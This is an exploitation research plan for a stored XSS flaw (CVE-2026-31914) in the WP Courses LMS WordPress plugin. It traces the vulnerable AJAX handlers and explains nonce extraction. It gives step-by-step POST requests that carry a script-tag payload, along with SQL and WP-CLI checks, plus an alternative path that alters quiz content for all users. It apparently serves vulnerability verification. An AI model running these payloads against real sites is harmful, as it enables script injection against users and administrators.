Exploitation Research Plan: CVE-2026-31914 - WP Courses LMS Stored XSS

1. Vulnerability Summary

The WP Courses LMS plugin (<= 3.2.26) is vulnerable to Stored Cross-Site Scripting (XSS) via the AJAX handler responsible for saving quiz results. The vulnerability exists because the plugin accepts arbitrary quiz data from the user, stores it in the database using json_encode, and later retrieves and echoes it back without any sanitization or output escaping in the getResult method. An authenticated attacker (subscriber or higher) can inject malicious JavaScript into the quiz results, which will execute when they or an administrator view the result.

2. Attack Vector Analysis

• Vulnerable AJAX Actions:
  • wpcq_save_quiz_results_action (Storage)
  • wpcq_get_quiz_result (Sink/Execution)
• Vulnerable Parameters: quiz (in saveResult), resultID (to trigger execution in getResult).
• Authentication Level: Subscriber or higher.
• Preconditions: The plugin must be active, and a Course and Quiz/Lesson must exist to facilitate legitimate-looking requests and ensure scripts (and nonces) are enqueued.

3. Code Flow

1. Entry Point (Storage): WPCQ_Ajax::saveResult() (attached to wp_ajax_wpcq_save_quiz_results_action).
2. Data Handling:
   • It retrieves $_POST['quiz'] (expected to be an array or object).
   • It calls $this->quiz = json_encode($_POST['quiz']);.
   • Sink: It performs an insert: $wpdb->insert($table_name, array(..., 'quiz_result' => $this->quiz, ...)).
3. Entry Point (Execution): WPCQ_Ajax::getResult() (attached to wp_ajax_wpcq_get_quiz_result).
4. Data Retrieval: It retrieves the record by resultID.
5. Vulnerable Sink:

   if(!empty($results)) {
       echo str_replace('\\\\', '', $results[0]->quiz_result);
   }
   

   The JSON string is echoed directly to the response. Since json_encode does not escape HTML tags by default, any <script> tags provided in the quiz array remain intact.

4. Nonce Acquisition Strategy

The wpc_nonce is required for both AJAX actions. It is localized for the frontend in pages where the plugin's lesson or quiz functionality is active.

1. Identify Script Loading: The plugin enqueues its primary scripts on the Course archive or individual Lesson/Quiz pages.
2. Creation: Create a Course and a Lesson to ensure the environment is ready.
3. Navigation: Navigate to a Course page as a Subscriber.
4. Extraction: Use browser_eval to extract the nonce from the localized JavaScript object. Based on common plugin patterns, the variable is likely wpc_vars or wpc_ajax_data.
   • JS Command: window.wpc_vars?.nonce or window.wpc_ajax_data?.nonce.
   • Note: The security parameter in the POST request must contain this nonce.

5. Exploitation Strategy

Step 1: Storage (Injecting the Payload)

Perform an AJAX POST to save a "quiz result" containing the XSS payload.

• Action: wpcq_save_quiz_results_action
• Method: POST
• URL: /wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action=wpcq_save_quiz_results_action
  • security=[NONCE]
  • userID=[SUBSCRIBER_ID]
  • quizID=1 (Can be any integer)
  • courseID=1 (Can be any integer)
  • scorePercent=100
  • quiz[question]=<script>alert(document.domain)</script>
• Expected Response: Empty response (200 OK) as the function ends with wp_die().

Step 2: Identification (Find the Result ID)

Since the AJAX response doesn't return the ID, query the database for the most recent entry in the results table.

• SQL: SELECT MAX(id) FROM wp_wpc_quiz_results;

Step 3: Execution (Triggering the XSS)

Perform an AJAX POST to retrieve the malicious result.

• Action: wpcq_get_quiz_result
• Method: POST
• URL: /wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action=wpcq_get_quiz_result
  • security=[NONCE]
  • resultID=[ID_FROM_STEP_2]
• Expected Response: The raw JSON string containing the payload: {"question":"<script>alert(document.domain)<\/script>"}.

6. Test Data Setup

1. User: Create a subscriber user (e.g., subscriber_user / password).
2. Content:
   • Create a Course: wp post create --post_type=course --post_title="Test Course" --post_status=publish
   • Create a Lesson: wp post create --post_type=lesson --post_title="Test Lesson" --post_status=publish
   • (Optional) Use wp post meta to link them if needed, though the AJAX handlers don't strictly enforce relational integrity for the saveResult action.

7. Expected Results

• The saveResult call should successfully insert a JSON string into the wp_wpc_quiz_results table.
• The getResult call should return the stored JSON string.
• Because the response content type of admin-ajax.php is often text/html by default (unless specifically set otherwise by the plugin, which it isn't here), the browser will execute the script if this response is rendered in a DOM element or viewed directly.

8. Verification Steps

1. Database Check:
   wp db query "SELECT quiz_result FROM wp_wpc_quiz_results ORDER BY id DESC LIMIT 1;"
   Confirm the output contains the raw script tag.
2. HTTP Response Check: Verify the http_request response for wpcq_get_quiz_result contains <script>alert(document.domain)</script>.

9. Alternative Approaches

If wpcq_save_quiz_results_action is restrictive, target wpcq_save_quiz_action:

• Action: wpcq_save_quiz_action
• Parameters: quizID, quiz (The payload).
• Code Path: update_post_meta((int)$this->quiz_id, 'wpc-quiz-data', $this->quiz);
• Sink: getQuiz() retrieves this meta and echoes it via json_encode. This is a higher-impact attack as it modifies the quiz content for all users.
• Nonce: Also uses wpc_nonce.